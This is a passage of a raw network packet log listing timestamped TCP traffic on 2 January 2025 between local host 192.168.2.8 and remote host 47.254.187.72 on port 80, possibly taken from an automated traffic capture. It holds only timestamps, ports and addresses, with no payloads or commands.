Jan 2, 2025 20:20:04.884390116 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884396076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884402037 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884407043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884421110 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884428978 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884447098 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884465933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884485006 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884491920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884496927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884494066 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884499073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884504080 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884510994 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884516954 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884531021 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884536982 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884547949 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884560108 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884568930 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884574890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884589911 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884603024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884603024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884612083 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884623051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884633064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884639025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884653091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884664059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884677887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884684086 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884689093 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884701967 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884716034 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:04.884726048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884726048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:04.884820938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:05.957001925 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:05.961795092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.349163055 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.349186897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.349237919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.349251032 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.349306107 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.350694895 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.350706100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.350739002 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.350749969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.350760937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.350761890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.350790977 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.350805044 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.352500916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.352511883 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.352530003 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.352541924 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.352555990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.352668047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.409101963 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.413908005 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.912296057 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.912319899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.912336111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.912352085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.912369013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.912391901 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.912425995 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.913068056 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.913084030 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.913096905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.913111925 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.913120985 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.913156986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.913156986 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.927407026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.927431107 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.927444935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.927460909 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.927486897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.927486897 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.927546024 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.928098917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.928124905 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.928138018 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.928158998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.928159952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.928159952 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.928170919 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.928181887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.928280115 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.929938078 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.929951906 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.929972887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.929987907 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.929999113 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.930021048 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.930079937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.930593014 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.930604935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.930634022 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.930676937 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.930731058 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.930743933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.930757999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.930773020 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.930805922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.930805922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.932137966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.932154894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.932168961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.932182074 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.932202101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.932202101 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.932228088 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.933208942 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.933223963 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.933237076 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.933267117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.933275938 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.933305979 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.933357954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.934083939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.934133053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.934145927 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.934148073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.934154987 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.934191942 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.934223890 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.935199022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.935211897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.935225010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.935237885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.935255051 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.935328007 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.936553955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.936582088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.936595917 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.936610937 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.936614990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.936621904 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.936624050 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.936666965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.936666965 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937002897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937061071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937074900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937089920 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937089920 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937112093 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937138081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937138081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937536955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937551022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937565088 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937580109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937608004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937608004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937644958 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937783957 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937798023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937812090 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.937844992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.937844992 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938687086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938699961 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938726902 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938739061 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938752890 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938762903 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938766956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938796043 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938801050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938801050 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938812017 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938826084 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938839912 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.938868046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938868046 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.938894987 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939146042 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939160109 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939188004 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939213037 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939428091 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939451933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939464092 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939476013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939496994 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939558983 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939594984 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939610958 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939624071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939631939 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939640045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.939703941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.939703941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940269947 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940310955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940361023 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940380096 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940395117 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940406084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940409899 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940435886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940435886 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940459013 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940717936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940768957 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940785885 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940803051 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940818071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.940828085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940871954 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.940892935 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.941684008 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.941700935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.941715956 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.941756964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.941756964 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.941777945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.943794966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.943810940 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.943824053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.943837881 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.943845034 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.943859100 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.943883896 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.943973064 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.944955111 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.944977045 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.944992065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945003033 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945005894 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945040941 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945054054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945660114 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945698977 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945710897 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945724010 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945745945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945745945 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945749998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.945779085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945779085 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.945805073 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.947655916 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.947699070 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.947710991 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.947726011 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.947745085 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.947758913 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.947770119 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.947835922 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.948724031 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.948739052 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.948754072 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.948767900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.948806047 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.948822021 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.950212955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.950226068 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.950272083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.950272083 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.950583935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.950598001 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.950613022 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.950629950 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.950649023 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.951142073 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.951165915 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.951181889 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.951206923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.951206923 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.951215029 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.951231003 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.951256990 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.952141047 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.952157974 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.952178955 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.952192068 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.952199936 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.952213049 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.952274084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.952274084 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.954638004 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.954655886 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.954678059 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.954691887 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.954691887 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.954709053 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.954720974 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.954741955 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.954793930 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.955666065 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.955681086 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.955696106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.955708981 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.955728054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.955728054 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.955744982 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.957298040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.957325935 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.957339048 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.957350969 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.957350969 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:06.957392931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:06.957392931 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.017514944 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017543077 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017554998 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017565966 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017576933 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017579079 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.017587900 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017599106 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017602921 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.017611980 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.017651081 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.017707109 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.019318104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019330025 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019341946 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019354105 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019366026 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019376040 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019376040 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.019387007 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.019428015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.019428015 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.019455910 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.020451069 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020499945 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020512104 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020523071 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020539999 CET	80	49704	47.254.187.72	192.168.2.8
Jan 2, 2025 20:20:07.020545959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.020545959 CET	49704	80	192.168.2.8	47.254.187.72
Jan 2, 2025 20:20:07.020550013 CET	80	49704	47.254.187.72	192.168.2.8
